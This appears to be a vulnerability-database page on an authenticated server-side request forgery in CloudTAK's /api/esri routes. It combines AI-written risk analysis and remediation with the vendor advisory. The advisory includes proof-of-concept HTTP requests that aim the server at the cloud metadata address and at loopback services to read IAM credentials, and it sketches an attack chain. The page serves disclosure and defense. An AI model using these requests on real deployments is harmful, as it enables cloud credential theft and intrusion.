Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain any valid user token
-
DeliverySend crafted URL to /api/esri route
-
Exploitsniff() accepts path with /rest
-
ExecutionServer fetches internal/metadata address
-
PersistRead IAM credentials from reflected body
-
ImpactPivot into cloud account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires a valid authenticated CloudTAK account of any privilege level - the six /api/esri* routes (and the ESRI sub-branch of basemap import) only call Auth.is_auth(config, req, { anyResources: true }), so any non-admin token suffices; anonymous requests are rejected with 403. No user interaction and no special product configuration toggle is needed - the vulnerability is present by default in all versions up to and including 13.7.0 because api/lib/esri.ts fetches user-controlled URLs (POST /api/esri body 'url'; GET portal/server/layer query params) with the unguarded fetch from @tak-ps/etl and never calls the isSafeUrl guard that the project already uses in basemap/task/video paths. The only pre-fetch check, sniff(), inspects solely the URL pathname for /rest, /arcgis/rest, or /sharing/rest, so appending /rest to any internal URL bypasses it. LIMITING FACTORS: a valid account is mandatory; full high-severity impact depends on the deployment having reachable internal targets (e.g. AWS IMDSv1 at 169.254.169.254, loopback admin ports, VPC-internal services) - hardened environments using IMDSv2 or strict egress controls reduce the credential-theft outcome. |
| Impact | This is a genuine, above-average-priority issue but not an emergency. The signals are internally consistent: the vendor CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N = 7.6 High) matches the description of a network-reachable, low-privilege (any authenticated token, not admin) SSRF with no user interaction. A public proof-of-concept exists (author-provided E2E harness reproducing the sink path plus a reference fix PR), which raises practical exploitability, but this is POC availability - NOT active exploitation; the CVE is not in CISA KEV and no EPSS score is provided, so there is no evidence of widespread or in-the-wild use. The strongest real-world risk driver is the full-read nature combined with cloud IMDSv1 credential theft: a successful read of 169.254.169.254 yields the instance role's temporary AWS credentials, turning an authenticated app account into a potential cloud-account foothold. Countervailing factors that lower priority: exploitation requires a valid CloudTAK user account (unauthenticated requests are rejected with 403), and the highest-impact outcomes depend on the deployment environment (IMDSv1 enabled rather than IMDSv2, reachable internal services), which is why the vendor sets AT:P. Net: a real priority for any CloudTAK operator on AWS with IMDSv1, moderate priority elsewhere - driven by POC existence and credential-theft potential rather than by KEV/EPSS signals, which are absent. |
| Exploit ScenarioDerived | An attacker who holds any valid (non-admin) CloudTAK user token sends POST /api/esri with {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest"}; sniff() accepts it because the path contains /rest, the server fetches the metadata endpoint, and the IAM role's temporary credentials are reflected back in the JSON response or in the 'ESRI Server Error: <body>' string. A public author-provided PoC/E2E harness demonstrates the identical fetch path against a controlled internal victim, confirming full-read exfiltration. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Sep 30, 2026
Authenticated server-side request forgery in CloudTAK (npm @tak-ps/cloudtak) up to and including 13.7.0 lets any holder of a valid, low-privilege user token drive the server into fetching attacker-chosen URLs and read the full upstream response back, because the six /api/esri* routes and the ESRI fetch library (api/lib/esri.ts) call the unguarded fetch from @tak-ps/etl without ever invoking the isSafeUrl classifier the project already uses elsewhere. Because the primitive is full-read rather than blind, an attacker can retrieve cloud instance-metadata content (on IMDSv1 deployments this includes the instance role's temporary credentials) and exfiltrate the bodies of internal-only services reachable on loopback or from inside the deployment VPC - although the assessed impact is high confidentiality with only limited integrity, and credential theft depends on the environment lacking IMDSv2 or strict egress controls. Publicly available exploit code exists, including a self-contained reproduction against a controlled internal victim, and the vendor has released a fixed version, 13.10.0; no confirmed active exploitation (CISA KEV) is indicated.
Earlier versions of this analysis (1)
Server-Side Request Forgery in CloudTAK (npm @tak-ps/cloudtak) versions up to and including 13.7.0 lets any authenticated non-admin user coerce the server into fetching attacker-supplied URLs via the /api/esri* route family, returning the upstream response body in full. Because the ESRI fetch library (api/lib/esri.ts) never applies the isSafeUrl guard already used elsewhere in the codebase, an attacker can read cloud instance metadata (169.254.169.254) to steal temporary IAM credentials and enumerate loopback/VPC-internal services. A detailed proof-of-concept exists in the vendor GHSA advisory; there is no public exploit identified as weaponized and the issue is not in CISA KEV.
RemediationAI
Upgrade CloudTAK to version 13.10.0, the vendor-released fixed version identified in the package data; the accompanying vendor advisory is at https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-r95q-fp26-h3hc and the release at https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.10.0. The upstream fix centralizes the existing isSafeUrl check inside api/lib/esri.ts (reference patch commit ff6dd1d9, adding a safeFetch wrapper plus an EsriBase.assertSafe entry point) so that all six /api/esri* routes plus the ESRI sub-branch of basemap import are covered by a single chokepoint, mirroring the pattern already used in basemap.ts and preserving the process.env.StackName !== 'test' skip. If immediate upgrade is not possible, compensating controls should target the specific gap rather than generic hardening: enforce IMDSv2 on the instance (which neutralizes the metadata-credential-theft path but does nothing for VPC-internal and loopback reads), and apply egress network policy from the CloudTAK container or host blocking RFC1918, 127.0.0.0/8, 169.254.0.0/16, ::1, and fc00::/7 destinations - the trade-off is that legitimate ESRI portals and basemap sources hosted on private networks will stop resolving, so any such internal integrations must be explicitly allow-listed. Removing or firewalling the /api/esri* route family is a further option but breaks ESRI layer and basemap import functionality for all users. Note that no patch-level fix exists for releases at or below 13.7.0; the guard must be introduced by upgrading or backporting the library-level fix, and per the assessment, hardened environments using IMDSv2 and strict egress controls already reduce the highest-severity outcome.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is a CWE-918 Server-Side Request Forgery rooted in two compounding gaps in CloudTAK's ESRI integration layer. First, api/lib/esri.ts imports the bare fetch from @tak-ps/etl and calls it with URLs derived directly from request input in every EsriProxy* method (EsriProxyPortal, EsriProxyServer, EsriProxyLayer) and in EsriBase.fetchVersion() / EsriBase.generateToken(); nothing resolves the hostname or rejects private, loopback, or link-local address space. The repository already depends on @tak-ps/node-safeurl's isSafeUrl guard and applies it in api/routes/basemap.ts, api/routes/task.ts, and api/lib/control/video-service.ts, so this is best characterized as an incomplete migration of the earlier SafeURL hardening (PR #1468) rather than a missing capability - grep for isSafeUrl in api/routes/esri.ts and api/lib/esri.ts returns zero hits. Second, the only pre-fetch inspection, EsriBase.sniff(), pattern-matches the URL pathname for '/rest', '/arcgis/rest', or '/sharing/rest' and never examines the host, so appending a matching path segment to an internal address (for example http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest) satisfies the classifier and reaches the fetch sink. Responses are returned to the caller via res.json(...) on success and reflected verbatim in an 'ESRI Server Error: <message>' string on failure, which is what upgrades this from a blind SSRF into a full-read primitive. The affected package is identified as pkg:npm/@tak-ps_cloudtak, and the assessed CVSS:3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N confirms the network-reachable, low-privilege, no-interaction, scope-unchanged profile of the issue.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Remote, low-complexity, any authenticated token (PR:L), no UI; full-read yields C:H, server-issued POST/write to internal services gives limited I:L, no direct availability impact.
Primary rating from Vendor (https://github.com/dfpc-coe/CloudTAK).
CVSS VectorVendor: https://github.com/dfpc-coe/CloudTAK
Lifecycle Timeline
3DescriptionCVE.org
Authenticated full-read SSRF in CloudTAK /api/esri* routes - user-controlled URL fetched with no IP-classification guard
Summary
Every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.
Any authenticated user (the routes only require Auth.is_auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC.
This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.
The sniff() URL classifier provides no protection: it only pattern-matches the *pathname* (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched.
Affected versions
- All versions up to and including 13.7.0 (latest at time of report).
The project already ships an SSRF guard helper - isSafeUrl from @tak-ps/node-safeurl - and wires it into the basemap, task, and video-service code paths, but the entire /api/esri* route family and the ESRI fetch library (api/lib/esri.ts) were never wired up, leaving the guard absent on this surface.
Vulnerable code
All permalinks are pinned to commit c7433679d2107fa0258e9005069bc5b4ca5773aa (release lineage of 13.7.0).
Routes - user input → ESRI fetch, no guard (api/routes/esri.ts):
POST /api/esri- bodyurl→new URL(req.body.url)→EsriBase.from(url):
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64
GET /api/esri/portal- queryportal→new EsriBase(req.query.portal)→EsriProxyPortal.getPortal():
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98
GET /api/esri/portal/content- queryportal→EsriProxyPortal.getContent():
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139
GET /api/esri/portal/server- queryportal→EsriProxyPortal.getServers():
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212
GET /api/esri/server- queryserver→EsriProxyServer.getList():
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249
GET /api/esri/server/layer- querylayer→EsriProxyLayer.sample():
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356
Library - the fetch sinks (api/lib/esri.ts), all reached with the user URL and none preceded by a guard:
import { fetch } from '@tak-ps/etl';
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6
EsriBase.fetchVersion()-const res = await fetch(url);
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187
EsriBase.generateToken()-fetch(url, { method: 'POST', ... })
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107
EsriProxyPortal.getContent/getPortal/getSelf/getServers/createService-fetchat lines 283, 301, 330, 347, 371EsriProxyServer.deleteLayer/createLayer/getList-fetchat lines 407, 433, 455EsriProxyLayer.tilejson/#sampleFeatures-fetchat lines 503, 552
sniff() only inspects the pathname (no host/IP check): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156
The guard exists elsewhere but is missing here - for comparison, the basemap import path classifies the URL before fetching: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90
Note also that the ESRI sub-branch inside basemap.ts (isEsriLayerURL(...) → new EsriBase(...) → EsriProxyLayer.tilejson()) reaches the same unguarded ESRI library and is therefore equally affected: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773
grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts returns 0 and 0.
Proof of concept
Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account - the routes only call Auth.is_auth(config, req, { anyResources: true })).
1. Read cloud instance metadata (credential theft)
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }The server's EsriBase.from() calls fetchVersion() → fetch('http://169.254.169.254/...?f=json'). The path contains /rest, so sniff() classifies it as SERVER and the request proceeds. The metadata service's response body is read back to the attacker - either inside the successful JSON response, or reflected in the error string (ESRI Server Error: <upstream body fragment>). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.
2. Read an internal-only service over loopback / VPC (full-read)
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>new EsriBase('http://127.0.0.1:8500/rest') → EsriProxyServer.getList() → fetch('http://127.0.0.1:8500/rest?f=json'). The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via res.json(list).
GET /api/esri/portal?portal=http://<internal-host>/sharing/rest and GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1 give the same full-read primitive on the other sub-routes.
3. Negative control - unauthenticated is rejected
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json
{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }Returns 403 Authentication Required (from Auth.is_auth → api/lib/auth.ts:118). The SSRF is reachable by any authenticated user but not by an anonymous one.
E2E reproduction (sink path against a controlled internal victim)
Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the same fetch import (@tak-ps/etl) and the verbatim EsriBase.sniff() + fetchVersion() logic the route uses. The harness models the route handler exactly: it new URL()s the user input, runs sniff(), then fetch()s - with isSafeUrl deliberately *not* called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).
Victim (victim.mjs) - an internal-only service on 127.0.0.1:9099 returning a secret JSON body:
[victim] internal service listening on 127.0.0.1:9099
[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1Harness output (esri_ssrf_e2e.mjs), user-supplied URL http://127.0.0.1:9099/arcgis/rest:
[VULN/no-guard] route returned full internal body:
{
"type": "SERVER",
"base": "http://127.0.0.1:9099/arcgis/rest",
"upstreamBody": {
"currentVersion": "11.4",
"internal-only": true,
"aws-metadata-simulated": {
"iam": { "role": "cloudtak-prod-instance-role", "AccessKeyId": "ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE" }
},
"note": "If you can read this from a user-supplied URL, that is SSRF (full-read)."
}
}
[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1And isSafeUrl confirms it *would* block the metadata / loopback targets if it were called on this path:
http://169.254.169.254/latest/meta-data/ => {"safe":false, ... "reason":"blocked IP address: 169.254.169.254"}
http://127.0.0.1:9999/ => {"safe":false, ... "reason":"blocked IP address: 127.0.0.1"}
http://localhost/ => {"safe":false, ... "reason":"blocked hostname: localhost"}So: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style isSafeUrl guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route's fetch path.)
Root cause
Two compounding gaps:
- No IP/DNS classification before fetch.
api/lib/esri.tsimports the unguardedfetchfrom@tak-ps/etland calls it with a URL derived directly from user input in everyEsriProxy*method and inEsriBase.fetchVersion()/generateToken(). Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on@tak-ps/node-safeurl(isSafeUrl) precisely for this, and uses it inapi/routes/basemap.ts,api/routes/task.ts, andapi/lib/control/video-service.ts- but the guard was never added to the ESRI route family or to the ESRI library. This is an incomplete migration: the SafeURL hardening (PR #1468) covered basemap/task/video but left/api/esri*andapi/lib/esri.ts(including the ESRI sub-branch of basemap import) unprotected. sniff()validates the wrong thing. The only inspection the URL receives before being fetched isEsriBase.sniff(), which pattern-matches the *pathname* for/rest,/arcgis/rest, or/sharing/rest. It never looks at the host, so an attacker simply appends/rest(or/arcgis/rest) to an internal URL and it is accepted and fetched.
Impact
- CWE-918 Server-Side Request Forgery, full-read.
- Cloud credential theft: reading
http://169.254.169.254/latest/meta-data/iam/security-credentials/...(IMDSv1) yields the instance role's temporary AWS credentials, which an attacker can use against the deployment's cloud account. - Internal network enumeration and data exfiltration: any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.
- Privilege required: any authenticated user with any token (
anyResources: true) - not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.
Fix
Centralize the existing isSafeUrl guard inside the ESRI library so every /api/esri* route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in basemap.ts:
- Add an async URL-classification step that runs
isSafeUrl(...)and throwsBlocked URL: <reason>for any URL that resolves to a private/loopback/link-local address, before the firstfetchinEsriBase(e.g. inEsriBase.from()and a guarded constructor/init path, so bothnew EsriBase(...)+ later proxy calls andEsriBase.from(...)are covered). - Preserve the existing
process.env.StackName !== 'test'test-mode skip used elsewhere so the test suite is unaffected.
Because all six routes funnel through EsriBase / the EsriProxy* classes in api/lib/esri.ts, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.
Disclosure
- Reported by tonghuaroot.
- Credit: tonghuaroot only.
---
Reference fix PR (private advisory fork): https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 - commit ff6dd1d9, centralizing isSafeUrl inside api/lib/esri.ts (safeFetch wrapper + EsriBase.assertSafe).
Executive ViewAI
CloudTAK (npm package @tak-ps/cloudtak, versions up to and including 13.7.0) - a situational-awareness platform commonly run on cloud infrastructure - contains a request-forwarding flaw that lets a holder of a valid low-privilege user token turn the application server into a proxy for reaching systems it should never expose, and return the full contents of those responses to the requester. The realistic worst case is disclosure of cloud instance-metadata content, which on unprotected deployments includes temporary role credentials, plus the contents of internal-only services visible from inside the deployment network; confidentiality impact is high, with limited integrity impact. Publicly available exploit code exists, so leadership should treat the exposure window as short and assume that any unpatched, internet-reachable CloudTAK instance on a cloud VM without hardened metadata or egress restrictions may already have leaked internal credentials.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
EUVD-2026-90083
GHSA-r95q-fp26-h3hc
NVD
CVE.org
EPSS
Exploit-DB